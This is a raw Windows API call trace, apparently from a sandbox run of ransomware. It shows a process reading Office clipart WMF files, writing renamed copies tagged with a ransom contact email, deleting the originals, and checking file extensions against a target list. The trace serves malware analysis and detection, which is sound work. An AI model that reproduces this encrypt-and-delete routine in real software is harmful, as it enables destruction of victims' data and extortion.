	[0083.077] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.077] GetLastError () returned 0x0
	[0083.077] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xc48, lpOverlapped=0x0) returned 1
	[0083.079] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xc50, lpOverlapped=0x0) returned 1
	[0083.080] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.080] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.080] SetEndOfFile (hFile=0x388) returned 1
	[0083.080] CloseHandle (hObject=0x388) returned 1
	[0083.081] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.082] SetEndOfFile (hFile=0x320) returned 1
	[0083.082] CloseHandle (hObject=0x320) returned 1
	[0083.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1
	[0083.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.083] lstrlenW (lpString=".doc") returned 4
	[0083.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.083] lstrlenW (lpString=".docx") returned 5
	[0083.083] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.083] lstrlenW (lpString=".pdf") returned 4
	[0083.083] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.083] lstrlenW (lpString=".xls") returned 4
	[0083.083] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.083] lstrlenW (lpString=".xlsx") returned 5
	[0083.083] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.083] lstrlenW (lpString=".ppt") returned 4
	[0083.083] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.083] lstrlenW (lpString=".zip") returned 4
	[0083.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.083] lstrlenW (lpString=".rar") returned 4
	[0083.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString=".bz2") returned 4
	[0083.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString=".7z") returned 3
	[0083.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString=".dbf") returned 4
	[0083.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString=".1cd") returned 4
	[0083.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString=".jpg") returned 4
	[0083.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString=".doc") returned 4
	[0083.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString=".docx") returned 5
	[0083.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.084] lstrlenW (lpString=".pdf") returned 4
	[0083.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString=".xls") returned 4
	[0083.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.084] lstrlenW (lpString=".xlsx") returned 5
	[0083.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.084] lstrlenW (lpString=".ppt") returned 4
	[0083.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.084] lstrlenW (lpString=".zip") returned 4
	[0083.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.085] lstrlenW (lpString=".rar") returned 4
	[0083.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.085] lstrlenW (lpString=".bz2") returned 4
	[0083.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.085] lstrlenW (lpString=".7z") returned 3
	[0083.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.085] lstrlenW (lpString=".dbf") returned 4
	[0083.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.085] lstrlenW (lpString=".1cd") returned 4
	[0083.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68
	[0083.085] lstrlenW (lpString=".jpg") returned 4
	[0083.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.085] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.085] lstrlenW (lpString="AN04206_.WMF") returned 12
	[0083.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.085] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7668) returned 1
	[0083.085] CloseHandle (hObject=0x320) returned 1
	[0083.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 0x220
	[0083.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.086] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.086] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.086] GetLastError () returned 0x0
	[0083.086] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1df4, lpOverlapped=0x0) returned 1
	[0083.088] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1e00, lpOverlapped=0x0) returned 1
	[0083.089] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.089] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.089] SetEndOfFile (hFile=0x388) returned 1
	[0083.089] CloseHandle (hObject=0x388) returned 1
	[0083.090] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.090] SetEndOfFile (hFile=0x320) returned 1
	[0083.091] CloseHandle (hObject=0x320) returned 1
	[0083.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1
	[0083.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.091] lstrlenW (lpString=".doc") returned 4
	[0083.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.091] lstrlenW (lpString=".docx") returned 5
	[0083.091] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.091] lstrlenW (lpString=".pdf") returned 4
	[0083.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.091] lstrlenW (lpString=".xls") returned 4
	[0083.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.092] lstrlenW (lpString=".xlsx") returned 5
	[0083.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.092] lstrlenW (lpString=".ppt") returned 4
	[0083.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString=".zip") returned 4
	[0083.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.092] lstrlenW (lpString=".rar") returned 4
	[0083.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString=".bz2") returned 4
	[0083.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString=".7z") returned 3
	[0083.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString=".dbf") returned 4
	[0083.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString=".1cd") returned 4
	[0083.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString=".jpg") returned 4
	[0083.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.092] lstrlenW (lpString=".doc") returned 4
	[0083.092] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString=".docx") returned 5
	[0083.092] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.092] lstrlenW (lpString=".pdf") returned 4
	[0083.092] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.092] lstrlenW (lpString=".xls") returned 4
	[0083.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.092] lstrlenW (lpString=".xlsx") returned 5
	[0083.092] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.093] lstrlenW (lpString=".ppt") returned 4
	[0083.093] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.093] lstrlenW (lpString=".zip") returned 4
	[0083.093] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.093] lstrlenW (lpString=".rar") returned 4
	[0083.093] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.093] lstrlenW (lpString=".bz2") returned 4
	[0083.093] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.093] lstrlenW (lpString=".7z") returned 3
	[0083.093] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.093] lstrlenW (lpString=".dbf") returned 4
	[0083.093] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.093] lstrlenW (lpString=".1cd") returned 4
	[0083.093] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68
	[0083.093] lstrlenW (lpString=".jpg") returned 4
	[0083.093] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.093] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.093] lstrlenW (lpString="AN04225_.WMF") returned 12
	[0083.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.093] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=8492) returned 1
	[0083.094] CloseHandle (hObject=0x320) returned 1
	[0083.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220
	[0083.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.094] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.094] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0083.094] GetLastError () returned 0x0
	[0083.094] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x212c, lpOverlapped=0x0) returned 1
	[0083.096] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2130, lpOverlapped=0x0) returned 1
	[0083.097] ReadFile (in: hFile=0x320, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.097] WriteFile (in: hFile=0x388, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.097] SetEndOfFile (hFile=0x388) returned 1
	[0083.097] CloseHandle (hObject=0x388) returned 1
	[0083.100] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.100] SetEndOfFile (hFile=0x320) returned 1
	[0083.101] CloseHandle (hObject=0x320) returned 1
	[0083.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.102] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 1
	[0083.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.102] lstrlenW (lpString=".doc") returned 4
	[0083.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.102] lstrlenW (lpString=".docx") returned 5
	[0083.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.102] lstrlenW (lpString=".pdf") returned 4
	[0083.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.102] lstrlenW (lpString=".xls") returned 4
	[0083.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.102] lstrlenW (lpString=".xlsx") returned 5
	[0083.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.102] lstrlenW (lpString=".ppt") returned 4
	[0083.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.102] lstrlenW (lpString=".zip") returned 4
	[0083.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.102] lstrlenW (lpString=".rar") returned 4
	[0083.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.102] lstrlenW (lpString=".bz2") returned 4
	[0083.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.102] lstrlenW (lpString=".7z") returned 3
	[0083.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.102] lstrlenW (lpString=".dbf") returned 4
	[0083.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString=".1cd") returned 4
	[0083.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString=".jpg") returned 4
	[0083.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString=".doc") returned 4
	[0083.103] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString=".docx") returned 5
	[0083.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.103] lstrlenW (lpString=".pdf") returned 4
	[0083.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString=".xls") returned 4
	[0083.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.103] lstrlenW (lpString=".xlsx") returned 5
	[0083.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.103] lstrlenW (lpString=".ppt") returned 4
	[0083.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString=".zip") returned 4
	[0083.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.103] lstrlenW (lpString=".rar") returned 4
	[0083.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString=".bz2") returned 4
	[0083.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString=".7z") returned 3
	[0083.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.103] lstrlenW (lpString=".dbf") returned 4
	[0083.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.104] lstrlenW (lpString=".1cd") returned 4
	[0083.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF") returned 68
	[0083.104] lstrlenW (lpString=".jpg") returned 4
	[0083.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.104] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.104] lstrlenW (lpString="AN04235_.WMF") returned 12
	[0083.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0083.114] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=7804) returned 1
	[0083.122] CloseHandle (hObject=0x320) returned 1
	[0083.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 0x220
	[0083.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
